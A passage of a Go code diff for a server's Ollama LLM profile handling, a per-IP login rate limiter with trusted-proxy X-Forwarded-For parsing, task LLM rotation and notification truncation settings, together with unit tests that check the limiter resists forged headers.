// includes it, and the connection test completes against a fake Ollama.
func TestOllamaKeylessProfileLifecycle(t *testing.T) {
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { m.Close() })
if m.pg == nil {
t.Skip("no postgres for this run")
}
ctx, cancel := context.WithCancel(context.Background())
cancel()
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"id":"1","object":"chat.completion","model":"llama3.2","choices":[{"index":0,"message":{"role":"assistant","content":"OK"},"finish_reason":"stop"}],"usage":{"prompt_tokens":1,"completion_tokens":1}}`))
}))
t.Cleanup(fake.Close)
pid, err := m.pg.SaveProfile(&db.LLMProfile{
Name: "ollama-local", Format: "ollama", Model: "llama3.2",
BaseURL: fake.URL, APIKey: "", IsDefault: true,
})
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _, _ = m.pg.Exec("DELETE FROM llm_profiles WHERE id=$1", pid) })
stored, err := m.pg.ProfileByID(pid)
if err != nil || stored == nil {
t.Fatalf("ProfileByID: %v %v", stored, err)
}
if _, ok := s.loadProfileConfig(pid); !ok {
t.Fatal("keyless ollama profile must load")
}
if err := s.validateTaskProfileIDs([]int64{pid}); err != nil {
t.Fatalf("task chain must accept keyless ollama: %v", err)
}
pool, err := m.pg.PoolProfiles()
if err != nil {
t.Fatal(err)
}
found := false
for _, p := range pool {
if p.ID == pid {
found = true
}
}
if !found {
t.Fatal("keyless ollama profile must join the failover pool")
}
// Connection test: no api_key in the form either.
body, _ := json.Marshal(map[string]any{
"profile_id": pid, "provider": "ollama", "model": "llama3.2",
"base_url": fake.URL, "api_key": "", "streaming": false,
})
req := httptest.NewRequest(http.MethodPost, "/api/llm/test", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
s.testLLM(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("handler status %d", rec.Code)
}
var resp struct {
OK bool `json:"ok"`
Error string `json:"error"`
}
_ = json.Unmarshal(rec.Body.Bytes(), &resp)
if !resp.OK {
t.Fatalf("connection test on keyless ollama failed: %s", resp.Error)
}
}
// Model listing for an Ollama server works without an API key and tolerates a
// base URL with or without the /v1 suffix.
func TestOllamaListModels(t *testing.T) {
var calls atomic.Value // []string paths
fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
paths, _ := calls.Load().([]string)
calls.Store(append(paths, r.URL.Path))
_, _ = w.Write([]byte(`{"object":"list","data":[{"id":"llama3.2"},{"id":"qwen2.5:14b"}]}`))
}))
t.Cleanup(fake.Close)
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { m.Close() })
if m.pg == nil {
t.Skip("no postgres for this run")
}
ctx, cancel := context.WithCancel(context.Background())
cancel()
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
call := func(baseURL string) (bool, []string) {
body, _ := json.Marshal(map[string]any{"provider": "ollama", "base_url": baseURL, "api_key": ""})
req := httptest.NewRequest(http.MethodPost, "/api/llm/models", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
s.pgListModels(rec, req)
var resp struct {
OK bool `json:"ok"`
Models []string `json:"models"`
Error string `json:"error"`
}
_ = json.Unmarshal(rec.Body.Bytes(), &resp)
return resp.OK, resp.Models
}
// Base WITH /v1.
ok, models := call(fake.URL + "/v1")
if !ok || len(models) != 2 {
t.Fatalf("listing with /v1 base failed: ok=%v models=%v", ok, models)
}
// Base WITHOUT /v1 must still be normalized onto the OpenAI-compatible path
// (/v1/models); both calls hit the same endpoint.
ok2, models2 := call(fake.URL)
if !ok2 || len(models2) != 2 {
t.Fatalf("listing without /v1 base failed: ok=%v models=%v", ok2, models2)
}
if paths, _ := calls.Load().([]string); len(paths) != 2 || paths[0] != "/v1/models" || paths[1] != "/v1/models" {
t.Fatalf("both calls must hit /v1/models, got %v", paths)
}
}
// The environment path must normalize the base URL too: ARTEX_LLM_BASE_URL is
// the natural way to configure a LAN Ollama server, and it used to send chat to
// /chat/completions instead of /v1/chat/completions.
func TestOllamaFromEnvNormalizesBaseURL(t *testing.T) {
t.Setenv("ARTEX_LLM_PROVIDER", "ollama")
t.Setenv("OPENAI_API_KEY", "")
t.Setenv("ARTEX_LLM_BASE_URL", "http://box:11434")
c, ok := agent.FromEnv()
if !ok {
t.Fatal("ollama env config must be usable")
}
if c.BaseURL != "http://box:11434/v1" {
t.Fatalf("env base URL not normalized: %q", c.BaseURL)
}
t.Setenv("ARTEX_LLM_BASE_URL", "http://box:11434/v1/chat/completions")
c, ok = agent.FromEnv()
if !ok {
t.Fatal("ollama env config must be usable")
}
if c.BaseURL != "http://box:11434/v1" {
t.Fatalf("full endpoint URL not normalized: %q", c.BaseURL)
}
}
// An Ollama config resolved from the environment must not inherit OPENAI_API_KEY:
// Ollama ignores the bearer token, so inheritance would only ship the cloud key
// to the local or LAN endpoint.
func TestOllamaFromEnvDoesNotInheritOpenAIKey(t *testing.T) {
t.Setenv("ARTEX_LLM_PROVIDER", "ollama")
t.Setenv("OPENAI_API_KEY", "sk-cloud-secret")
t.Setenv("ARTEX_LLM_BASE_URL", "")
c, ok := agent.FromEnv()
if !ok {
t.Fatal("ollama env config must be usable without a key")
}
if c.APIKey != "" {
t.Fatalf("ollama inherited a cloud key: %q", c.APIKey)
}
}
+191
View File
@@ -0,0 +1,191 @@
package server
import (
"fmt"
"net"
"net/http"
"net/netip"
"strings"
"sync"
"time"
)
// Login attempts are limited per client IP, never per account: a per-account
// lockout would let anyone lock the admin out by failing on purpose.
const (
loginMaxAttempts = 10 // attempts allowed per IP per window
loginWindow = time.Minute // the counting window
loginBaseBlock = time.Minute // length of the first block
loginMaxBlock = 15 * time.Minute // cap on the block; an entry idle this long is dropped
loginSweepEvery = time.Minute // how often stale entries are swept
loginMaxEntries = 10000 // hard cap on tracked IPs
)
type loginEntry struct {
attempts int
windowStart time.Time
blockedUntil time.Time
block time.Duration // current block length; doubles on every new block or blocked attempt
lastSeen time.Time
}
// loginLimiter counts login attempts per IP. Past loginMaxAttempts in one
// loginWindow the IP is blocked for loginBaseBlock; every attempt while blocked,
// and every later block, doubles the block up to loginMaxBlock. State is in
// memory only and swept of idle entries, so a restart clears it.
type loginLimiter struct {
mu sync.Mutex
now func() time.Time
entries map[string]*loginEntry
lastSweep time.Time
}
func newLoginLimiter(now func() time.Time) *loginLimiter {
return &loginLimiter{now: now, entries: map[string]*loginEntry{}}
}
// allow records one attempt from ip. It returns 0 when the attempt may go on,
// otherwise how long ip must wait.
func (l *loginLimiter) allow(ip string) time.Duration {
l.mu.Lock()
defer l.mu.Unlock()
now := l.now()
l.sweep(now)
e := l.entries[ip]
if e == nil {
if len(l.entries) >= loginMaxEntries {
l.evictOldest()
}
e = &loginEntry{windowStart: now}
l.entries[ip] = e
}
e.lastSeen = now
if now.Before(e.blockedUntil) {
e.block = min(2*e.block, loginMaxBlock)
e.blockedUntil = now.Add(e.block)
return e.block
}
if now.Sub(e.windowStart) >= loginWindow {
e.attempts, e.windowStart = 0, now
}
if e.attempts >= loginMaxAttempts {
if e.block == 0 {
e.block = loginBaseBlock
} else {
e.block = min(2*e.block, loginMaxBlock)
}
e.blockedUntil = now.Add(e.block)
e.attempts, e.windowStart = 0, now
return e.block
}
e.attempts++
return 0
}
// reset forgets ip, after a successful login. A blocked IP never reaches the
// password check, so this only runs outside a block.
func (l *loginLimiter) reset(ip string) {
l.mu.Lock()
defer l.mu.Unlock()
delete(l.entries, ip)
}
// sweep drops entries idle for loginMaxBlock, at most once per loginSweepEvery.
// Such an entry is never blocked: a block ends at most loginMaxBlock after the
// attempt that set it.
func (l *loginLimiter) sweep(now time.Time) {
if now.Sub(l.lastSweep) < loginSweepEvery {
return
}
l.lastSweep = now
for ip, e := range l.entries {
if now.Sub(e.lastSeen) >= loginMaxBlock {
delete(l.entries, ip)
}
}
}
// evictOldest drops the least recently seen entry to stay under loginMaxEntries.
func (l *loginLimiter) evictOldest() {
var oldest string
var at time.Time
for ip, e := range l.entries {
if oldest == "" || e.lastSeen.Before(at) {
oldest, at = ip, e.lastSeen
}
}
delete(l.entries, oldest)
}
// peerIP is the host part of the TCP peer address.
func peerIP(r *http.Request) string {
host, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
return r.RemoteAddr
}
return host
}
// clientIP is the address login attempts are counted against. It is the TCP
// peer unless the peer is in trusted: then X-Forwarded-For is read from the
// right, past trusted hops, and the first untrusted hop is the client. Entries
// left of that hop come from the client itself and are never used, so a client
// cannot pick its own bucket. With trusted empty the header is ignored.
func clientIP(r *http.Request, trusted []netip.Prefix) string {
peer := peerIP(r)
addr, err := netip.ParseAddr(peer)
if err != nil || !isTrusted(addr, trusted) {
return peer
}
hops := strings.Split(strings.Join(r.Header.Values("X-Forwarded-For"), ","), ",")
for i := len(hops) - 1; i >= 0; i-- {
hop, err := netip.ParseAddr(strings.TrimSpace(hops[i]))
if err != nil {
break // keep the last address a trusted proxy reported
}
addr = hop
if !isTrusted(addr, trusted) {
break
}
}
return addr.Unmap().WithZone("").String()
}
func isTrusted(a netip.Addr, trusted []netip.Prefix) bool {
a = a.Unmap().WithZone("")
for _, p := range trusted {
if p.Contains(a) {
return true
}
}
return false
}
// ParseTrustedProxies parses ARTEX_TRUSTED_PROXIES: comma-separated CIDRs (a
// bare address means that one host). Empty means no trusted proxy.
func ParseTrustedProxies(s string) ([]netip.Prefix, error) {
var out []netip.Prefix
for _, f := range strings.Split(s, ",") {
f = strings.TrimSpace(f)
if f == "" {
continue
}
if p, err := netip.ParsePrefix(f); err == nil {
out = append(out, p.Masked())
continue
}
a, err := netip.ParseAddr(f)
if err != nil || a.Zone() != "" {
return nil, fmt.Errorf("%q is not a CIDR or an IP address", f)
}
a = a.Unmap()
out = append(out, netip.PrefixFrom(a, a.BitLen()))
}
return out, nil
}
// WithTrustedProxies sets the proxies whose X-Forwarded-For the login rate
// limit reads (see clientIP).
func WithTrustedProxies(p []netip.Prefix) Option {
return func(s *Server) { s.trustedProxies = p }
}
+299
View File
@@ -0,0 +1,299 @@
package server
import (
"encoding/json"
"fmt"
"net/http/httptest"
"net/netip"
"strings"
"testing"
"time"
"golang.org/x/crypto/bcrypt"
)
type fakeClock struct{ t time.Time }
func (c *fakeClock) now() time.Time { return c.t }
func (c *fakeClock) advance(d time.Duration) { c.t = c.t.Add(d) }
func newFakeClock() *fakeClock { return &fakeClock{t: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)} }
// oldPassword is 8 characters: valid under the old minimum, too short for a new password now.
const oldPassword = "abcd1234"
// loginServer returns a Server whose login reads a stored hash of oldPassword
// from a stub instead of PostgreSQL.
func loginServer(t *testing.T, clk *fakeClock) (*Server, func(remote, password string, hdr map[string]string) *httptest.ResponseRecorder) {
t.Helper()
hash, err := bcrypt.GenerateFromPassword([]byte(oldPassword), bcrypt.MinCost)
if err != nil {
t.Fatal(err)
}
getSetting := func(key string) (string, bool, error) {
if key != authPassKey {
return "", false, nil
}
return string(hash), true, nil
}
s := &Server{jwtKey: []byte("0123456789abcdef0123456789abcdef"), loginLimit: newLoginLimiter(clk.now)}
post := func(remote, password string, hdr map[string]string) *httptest.ResponseRecorder {
body := fmt.Sprintf(`{"username":"ARTEX","password":%q}`, password)
r := httptest.NewRequest("POST", "/api/auth/login", strings.NewReader(body))
r.RemoteAddr = remote
for k, v := range hdr {
r.Header.Set(k, v)
}
w := httptest.NewRecorder()
s.login(w, r, getSetting)
return w
}
return s, post
}
func failN(t *testing.T, post func(string, string, map[string]string) *httptest.ResponseRecorder, remote string, n int) {
t.Helper()
for i := 0; i < n; i++ {
if w := post(remote, "wrong-password", nil); w.Code != 401 {
t.Fatalf("attempt %d from %s: status=%d want 401; body=%s", i+1, remote, w.Code, w.Body.String())
}
}
}
func TestLoginRateLimitReturns429WithRetryAfter(t *testing.T) {
clk := newFakeClock()
_, post := loginServer(t, clk)
const ip = "192.0.2.10:40000"
failN(t, post, ip, loginMaxAttempts)
w := post(ip, oldPassword, nil) // even the right password is refused while blocked
if w.Code != 429 {
t.Fatalf("status=%d want 429; body=%s", w.Code, w.Body.String())
}
if got := w.Header().Get("Retry-After"); got != "60" {
t.Fatalf("Retry-After=%q want 60", got)
}
var body struct {
Error string `json:"error"`
Token string `json:"token"`
}
if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil || body.Error == "" || body.Token != "" {
t.Fatalf("want a JSON error body without a token, got %s (err=%v)", w.Body.String(), err)
}
// Each attempt while blocked doubles the wait, capped at loginMaxBlock.
for _, want := range []string{"120", "240", "480", "900", "900"} {
if got := post(ip, "wrong-password", nil).Header().Get("Retry-After"); got != want {
t.Fatalf("Retry-After=%q want %s", got, want)
}
}
// Once the block runs out the IP gets a fresh window.
clk.advance(loginMaxBlock)
if w := post(ip, oldPassword, nil); w.Code != 200 {
t.Fatalf("after the block: status=%d want 200; body=%s", w.Code, w.Body.String())
}
}
func TestLoginSuccessResetsCounter(t *testing.T) {
clk := newFakeClock()
_, post := loginServer(t, clk)
const ip = "192.0.2.11:40000"
failN(t, post, ip, loginMaxAttempts-1)
if w := post(ip, oldPassword, nil); w.Code != 200 {
t.Fatalf("status=%d want 200; body=%s", w.Code, w.Body.String())
}
// The counter starts over: a full budget of failures before the next block.
failN(t, post, ip, loginMaxAttempts)
if w := post(ip, "wrong-password", nil); w.Code != 429 {
t.Fatalf("status=%d want 429", w.Code)
}
}
func TestLoginRateLimitIsPerIP(t *testing.T) {
clk := newFakeClock()
_, post := loginServer(t, clk)
failN(t, post, "192.0.2.12:40000", loginMaxAttempts)
if w := post("192.0.2.12:40001", "wrong-password", nil); w.Code != 429 {
t.Fatalf("same IP, other port: status=%d want 429", w.Code)
}
if w := post("198.51.100.7:40000", "wrong-password", nil); w.Code != 401 {
t.Fatalf("other IP: status=%d want 401", w.Code)
}
if w := post("[2001:db8::1]:40000", oldPassword, nil); w.Code != 200 {
t.Fatalf("other IP: status=%d want 200", w.Code)
}
}
func TestLoginRateLimitIgnoresForwardedFor(t *testing.T) {
clk := newFakeClock()
_, post := loginServer(t, clk)
const blocked = "192.0.2.13"
failN(t, post, blocked+":40000", loginMaxAttempts)
// A blocked peer cannot escape by claiming another address.
for _, h := range []string{"X-Forwarded-For", "X-Real-IP"} {
if w := post(blocked+":40000", oldPassword, map[string]string{h: "203.0.113.9"}); w.Code != 429 {
t.Fatalf("%s from blocked peer: status=%d want 429", h, w.Code)
}
}
// And another peer naming the blocked address is not blocked.
if w := post("198.51.100.8:40000", oldPassword, map[string]string{"X-Forwarded-For": blocked}); w.Code != 200 {
t.Fatalf("X-Forwarded-For naming the blocked IP: status=%d want 200", w.Code)
}
}
func mustTrusted(t *testing.T, s string) []netip.Prefix {
t.Helper()
p, err := ParseTrustedProxies(s)
if err != nil {
t.Fatal(err)
}
return p
}
func TestParseTrustedProxies(t *testing.T) {
if p, err := ParseTrustedProxies(" "); err != nil || len(p) != 0 {
t.Fatalf("empty: %v, %v; want no proxies", p, err)
}
p, err := ParseTrustedProxies(" 127.0.0.1/32, 10.1.2.3/8 ,::1")
if err != nil {
t.Fatal(err)
}
if got := fmt.Sprint(p); got != "[127.0.0.1/32 10.0.0.0/8 ::1/128]" {
t.Fatalf("got %s", got)
}
for _, bad := range []string{"proxy.local", "10.0.0.0/33", "127.0.0.1,nope"} {
if _, err := ParseTrustedProxies(bad); err == nil {
t.Fatalf("%q: want an error", bad)
}
}
}
func TestClientIP(t *testing.T) {
trusted := mustTrusted(t, "127.0.0.1/32,10.0.0.0/8")
for _, tc := range []struct {
name, remote string
xff []string
trusted []netip.Prefix
want string
}{
{"direct client, no proxies configured", "198.51.100.9:5000", nil, nil, "198.51.100.9"},
{"direct client, proxies configured", "198.51.100.9:5000", nil, trusted, "198.51.100.9"},
{"spoofed header, no proxies configured", "198.51.100.9:5000", []string{"203.0.113.1"}, nil, "198.51.100.9"},
{"spoofed header from an untrusted peer", "198.51.100.9:5000", []string{"203.0.113.1"}, trusted, "198.51.100.9"},
{"spoofed header claiming a trusted address", "198.51.100.9:5000", []string{"127.0.0.1"}, trusted, "198.51.100.9"},
{"one trusted proxy", "127.0.0.1:5000", []string{"198.51.100.7"}, trusted, "198.51.100.7"},
{"client-supplied entries left of the real hop", "127.0.0.1:5000", []string{"203.0.113.1, 10.0.0.9, 198.51.100.7"}, trusted, "198.51.100.7"},
{"chain of trusted proxies", "127.0.0.1:5000", []string{"203.0.113.1, 198.51.100.7, 10.0.0.5"}, trusted, "198.51.100.7"},
{"chain split over header lines", "127.0.0.1:5000", []string{"203.0.113.1", "198.51.100.7, 10.0.0.5"}, trusted, "198.51.100.7"},
{"trusted proxy without the header", "127.0.0.1:5000", nil, trusted, "127.0.0.1"},
{"unparsable hop stops the walk", "127.0.0.1:5000", []string{"198.51.100.7, garbage, 10.0.0.5"}, trusted, "10.0.0.5"},
{"IPv6 client behind the proxy", "127.0.0.1:5000", []string{"2001:db8::7"}, trusted, "2001:db8::7"},
} {
t.Run(tc.name, func(t *testing.T) {
r := httptest.NewRequest("GET", "/", nil)
r.RemoteAddr = tc.remote
for _, v := range tc.xff {
r.Header.Add("X-Forwarded-For", v)
}
if got := clientIP(r, tc.trusted); got != tc.want {
t.Fatalf("clientIP=%s want %s", got, tc.want)
}
})
}
}
// Behind a trusted reverse proxy every request arrives from the proxy's address;
// the limit must still apply per real client.
func TestLoginRateLimitBehindTrustedProxy(t *testing.T) {
clk := newFakeClock()
s, post := loginServer(t, clk)
s.trustedProxies = mustTrusted(t, "127.0.0.1/32")
const proxy = "127.0.0.1:50000"
via := func(xff string) map[string]string { return map[string]string{"X-Forwarded-For": xff} }
for i := 0; i < loginMaxAttempts; i++ {
if w := post(proxy, "wrong-password", via("198.51.100.20")); w.Code != 401 {
t.Fatalf("attempt %d: status=%d want 401", i+1, w.Code)
}
}
if w := post(proxy, oldPassword, via("198.51.100.20")); w.Code != 429 {
t.Fatalf("attacker: status=%d want 429", w.Code)
}
// What nginx's $proxy_add_x_forwarded_for sends when the attacker adds its own header.
if w := post(proxy, oldPassword, via("203.0.113.50, 198.51.100.20")); w.Code != 429 {
t.Fatalf("attacker with a forged entry: status=%d want 429", w.Code)
}
// Another user behind the same proxy is not affected.
if w := post(proxy, oldPassword, via("198.51.100.21")); w.Code != 200 {
t.Fatalf("other user via the proxy: status=%d want 200", w.Code)
}
}
// The 12-character minimum applies to new passwords only. A hash stored under the
// old 8-character minimum must still log in.
func TestEightCharPasswordLogsInButIsRejectedAsNew(t *testing.T) {
if n := len([]rune(oldPassword)); n != 8 {
t.Fatalf("oldPassword has %d characters, want 8", n)
}
_, post := loginServer(t, newFakeClock())
w := post("192.0.2.14:40000", oldPassword, nil)
if w.Code != 200 || !strings.Contains(w.Body.String(), `"token"`) {
t.Fatalf("login with an existing 8-character password: status=%d body=%s", w.Code, w.Body.String())
}
// authInit and authChangePassword both refuse a new password through validatePassword.
if msg := validatePassword(oldPassword); msg == "" {
t.Fatal("validatePassword accepted an 8-character new password")
}
}
func TestLoginLimiterSweepsIdleEntries(t *testing.T) {
clk := newFakeClock()
l := newLoginLimiter(clk.now)
l.allow("192.0.2.20")
clk.advance(loginMaxBlock - time.Second)
l.allow("192.0.2.21") // sweeps, but .20 is not idle long enough yet
if len(l.entries) != 2 {
t.Fatalf("entries=%d want 2 before either is idle for %v", len(l.entries), loginMaxBlock)
}
clk.advance(loginSweepEvery)
l.allow("192.0.2.22") // next sweep drops .20
if _, ok := l.entries["192.0.2.20"]; ok || len(l.entries) != 2 {
t.Fatalf("idle entry not swept: %d entries", len(l.entries))
}
}
func TestLoginLimiterCapsEntries(t *testing.T) {
l := newLoginLimiter(newFakeClock().now)
for i := 0; i <= loginMaxEntries; i++ {
l.allow(fmt.Sprintf("10.%d.%d.%d", i>>16&255, i>>8&255, i&255))
}
if len(l.entries) != loginMaxEntries {
t.Fatalf("entries=%d want the cap %d", len(l.entries), loginMaxEntries)
}
}
func TestHealthHidesVersionWithoutToken(t *testing.T) {
key := []byte("0123456789abcdef0123456789abcdef")
s := &Server{jwtKey: key}
w := httptest.NewRecorder()
s.health(w, httptest.NewRequest("GET", "/api/health", nil))
if got := strings.TrimSpace(w.Body.String()); w.Code != 200 || got != `{"ok":true}` {
t.Fatalf("no token: status=%d body=%s want {\"ok\":true}", w.Code, got)
}
tok, err := signJWT(key)
if err != nil {
t.Fatal(err)
}
r := httptest.NewRequest("GET", "/api/health", nil)
r.Header.Set("Authorization", "Bearer "+tok)
w = httptest.NewRecorder()
s.health(w, r)
var body map[string]any
if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil || body["version"] != BuildVersion || body["service"] != "artex" {
t.Fatalf("valid token: body=%s want service and version", w.Body.String())
}
}
+21 -1
View File
@@ -51,6 +51,10 @@ type Task struct {
ActiveLLMProfileID *int64 `json:"active_llm_profile_id,omitempty"`
LLMChainRevision int64 `json:"-"`
LLMFailoverState string `json:"llm_failover_state,omitempty"`
// LLMRotate (#85): per-intent round-robin over the task's LLM chain heads.
LLMRotate bool `json:"llm_rotate,omitempty"`
rotateMu sync.Mutex
rotateNext int
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
SourceTaskIDs []int64 `json:"source_task_ids,omitempty"`
CompanyIDs []int64 `json:"company_ids,omitempty"`
@@ -178,6 +182,22 @@ func (t *Task) llmStateSnapshot() taskLLMState {
}
}
// nextRotatedProfile returns the chain head for the NEXT claimed worker
// intent under per-intent rotation (#85): strict round-robin over the task's
// chain. The active head stays authoritative for every non-worker role and for
// failover ordering; rotation only distributes worker lanes across heads.
func (t *Task) nextRotatedProfile() (int64, bool) {
t.rotateMu.Lock()
defer t.rotateMu.Unlock()
ids := t.LLMProfileIDs
if len(ids) == 0 {
return 0, false
}
pick := ids[t.rotateNext%len(ids)]
t.rotateNext++
return pick, true
}
func (t *Task) setLLMState(profileID, activeID *int64, profileIDs []int64, revision int64, state, reason string) bool {
t.llmMu.Lock()
defer t.llmMu.Unlock()
@@ -840,7 +860,7 @@ func taskFromPG(pt *pgdb.Task, store *pgdb.ExplorationStore, ic *intercept.Inter
QueuedAt: unixNanoOrZero(pt.QueuedAt), QueueMode: pt.QueueMode,
CompletedAt: unixOrZero(pt.CompletedAt), Status: pt.Status, ParentRef: pt.ParentRef,
LLMProfileID: pt.LLMProfileID,
LLMProfileIDs: append([]int64(nil), pt.LLMProfileIDs...), ActiveLLMProfileID: pt.ActiveLLMProfileID,
LLMProfileIDs: append([]int64(nil), pt.LLMProfileIDs...), ActiveLLMProfileID: pt.ActiveLLMProfileID, LLMRotate: pt.LLMRotate,
LLMChainRevision: pt.LLMChainRevision,
LLMFailoverState: pt.LLMFailoverState, LLMFailoverReason: pt.LLMFailoverReason,
SourceTaskIDs: append([]int64(nil), pt.SourceTaskIDs...),
+43 -5
View File
@@ -5,6 +5,8 @@ import (
"encoding/json"
"fmt"
"log"
"strconv"
"strings"
"sync"
"time"
@@ -25,6 +27,12 @@ const (
settingNotifyPublicBaseURL = "notify_public_base_url"
// settingNotifyDigestMinutes is the digest-mode period (minutes).
settingNotifyDigestMinutes = "notify_digest_interval_min"
// settingNotifySummaryMaxRunes is how many characters the summary of a single
// push is cut to, and settingNotifyAssetsMaxShown how many asset names a
// message lists. 0 means no truncation; unset means the notify package
// defaults (120 / 3).
settingNotifySummaryMaxRunes = "notify_summary_max_runes"
settingNotifyAssetsMaxShown = "notify_assets_max_shown"
)
const (
@@ -43,6 +51,10 @@ const (
notifyFanOutPerTick = 200
// notifyDefaultDigestMinutes is the default digest period.
notifyDefaultDigestMinutes = 30
// notifySummaryMaxRunesCap / notifyAssetsMaxShownCap are the upper bounds the
// settings API accepts for the two render limits.
notifySummaryMaxRunesCap = 4000
notifyAssetsMaxShownCap = 50
// notifyUnlimitedBurstPerTick is the per-tick delivery cap when a channel has
// no rate limit configured. It exists to prevent "one channel configured as
// unlimited + a single scan finding thousands of vulnerabilities" from dragging
@@ -223,8 +235,9 @@ func (n *Notifier) stepRealtime(ctx context.Context, ch *db.NotificationChannel,
_ = n.pg.FailDeliveries(ctx, deliveryIDs(deliveries), fmt.Sprintf("channel type %q is not registered", ch.Kind))
return
}
limits := notifyLimits(n.pg)
for _, dl := range deliveries {
msg, err := n.renderSingle(ctx, dl, baseURL)
msg, err := n.renderSingle(ctx, dl, baseURL, limits)
if err != nil {
// A render failure is a local data problem; retrying will not help.
_ = n.pg.FailDeliveries(ctx, []int64{dl.ID}, err.Error())
@@ -259,7 +272,7 @@ func (n *Notifier) stepDigest(ctx context.Context, ch *db.NotificationChannel, a
_ = n.pg.FailDeliveries(ctx, deliveryIDs(deliveries), fmt.Sprintf("channel type %q is not registered", ch.Kind))
return
}
msg, included, err := n.renderBatch(ctx, deliveries, baseURL, int(window.Minutes()))
msg, included, err := n.renderBatch(ctx, deliveries, baseURL, int(window.Minutes()), notifyLimits(n.pg))
if err != nil {
_ = n.pg.FailDeliveries(ctx, deliveryIDs(deliveries), err.Error())
return
@@ -423,7 +436,7 @@ func (n *Notifier) adapt(ch *db.NotificationChannel) (notify.Channel, map[string
}
// renderSingle renders a single-vulnerability message.
func (n *Notifier) renderSingle(ctx context.Context, dl *db.NotificationDelivery, baseURL string) (notify.Message, error) {
func (n *Notifier) renderSingle(ctx context.Context, dl *db.NotificationDelivery, baseURL string, limits notify.Limits) (notify.Message, error) {
snap, err := parseSnapshot(dl)
if err != nil {
return notify.Message{}, err
@@ -432,7 +445,7 @@ func (n *Notifier) renderSingle(ctx context.Context, dl *db.NotificationDelivery
if err != nil {
return notify.Message{}, err
}
return notify.Message{Items: []notify.Item{item}, HomeURL: baseURL}, nil
return notify.Message{Items: []notify.Item{item}, HomeURL: baseURL, Limits: &limits}, nil
}
// renderBatch renders a digest message. Snapshots are parsed one by one — a
@@ -446,7 +459,7 @@ func (n *Notifier) renderSingle(ctx context.Context, dl *db.NotificationDelivery
// entry that should have failed would be marked sent, and a good entry would be
// misjudged as undelivered. The broken ones are marked failed explicitly by the
// caller, see stepDigest.
func (n *Notifier) renderBatch(ctx context.Context, deliveries []*db.NotificationDelivery, baseURL string, windowMinutes int) (notify.Message, []*db.NotificationDelivery, error) {
func (n *Notifier) renderBatch(ctx context.Context, deliveries []*db.NotificationDelivery, baseURL string, windowMinutes int, limits notify.Limits) (notify.Message, []*db.NotificationDelivery, error) {
items := make([]notify.Item, 0, len(deliveries))
included := make([]*db.NotificationDelivery, 0, len(deliveries))
for _, dl := range deliveries {
@@ -473,6 +486,7 @@ func (n *Notifier) renderBatch(ctx context.Context, deliveries []*db.Notificatio
Batch: true,
WindowMinutes: windowMinutes,
HomeURL: baseURL,
Limits: &limits,
}, included, nil
}
@@ -582,6 +596,30 @@ func (n *Notifier) digestInterval() time.Duration {
return time.Duration(m) * time.Minute
}
// notifyLimits reads the summary/asset render limits from the settings.
func notifyLimits(pg *db.DB) notify.Limits {
summary, sOK, _ := pg.GetSetting(settingNotifySummaryMaxRunes)
assets, aOK, _ := pg.GetSetting(settingNotifyAssetsMaxShown)
return notify.Limits{
SummaryRunes: notifyLimitValue(summary, sOK, notify.DefaultMaxSummaryRunes, notifySummaryMaxRunesCap),
AssetsShown: notifyLimitValue(assets, aOK, notify.DefaultMaxAssetsShown, notifyAssetsMaxShownCap),
}
}
// notifyLimitValue resolves one stored render limit: def when the key is unset,
// unparseable, or outside [0, max]. 0 is a valid value (no truncation), which is
// why "unset" is carried by ok and not by the number.
func notifyLimitValue(v string, ok bool, def, max int) int {
if !ok {
return def
}
n, err := strconv.Atoi(strings.TrimSpace(v))
if err != nil || n < 0 || n > max {
return def
}
return n
}
// parseSnapshot parses the snapshot of the event a delivery corresponds to.
func parseSnapshot(dl *db.NotificationDelivery) (notify.Snapshot, error) {
var snap notify.Snapshot
+2
View File
@@ -447,6 +447,8 @@ func (s *Server) notifyTestChannel(w http.ResponseWriter, r *http.Request) {
return
}
msg := notifyTestMessage(s.notifierBaseURL(pg))
limits := notifyLimits(pg)
msg.Limits = &limits
start := time.Now()
// The test message is a single entry, so the delivered count is not needed
// here (for a single message the channel length limit falls back to
+129
View File
@@ -700,6 +700,108 @@ func TestNotifyMetaAndSettingsRoundTrip(t *testing.T) {
}
}
// TestNotifyLimitSettingsRoundTrip covers the two render-limit keys through the
// settings API and the settings table: unset reads as the 120 / 3 defaults, a
// stored 0 reads back as 0 (no truncation) and not as the default, and
// out-of-range values are rejected without touching the stored value.
func TestNotifyLimitSettingsRoundTrip(t *testing.T) {
f := newNotifyFixture(t)
clear := func() {
f.pg.Exec(`DELETE FROM settings WHERE key IN ($1,$2)`, settingNotifySummaryMaxRunes, settingNotifyAssetsMaxShown)
}
clear()
t.Cleanup(clear)
expect := func(step string, summary, assets int) {
t.Helper()
payload := f.s.settingsPayload()
if payload["notify_summary_max_runes"] != summary || payload["notify_assets_max_shown"] != assets {
t.Fatalf("%s: settings payload should report %d / %d, got %v / %v", step, summary, assets,
payload["notify_summary_max_runes"], payload["notify_assets_max_shown"])
}
if got := notifyLimits(f.pg); got != (notify.Limits{SummaryRunes: summary, AssetsShown: assets}) {
t.Fatalf("%s: the delivery engine should read %d / %d, got %+v", step, summary, assets, got)
}
}
expect("unset", notify.DefaultMaxSummaryRunes, notify.DefaultMaxAssetsShown)
for _, tc := range []struct{ summary, assets int }{{500, 10}, {0, 0}, {4000, 50}} {
body := fmt.Sprintf(`{"notify_summary_max_runes":%d,"notify_assets_max_shown":%d}`, tc.summary, tc.assets)
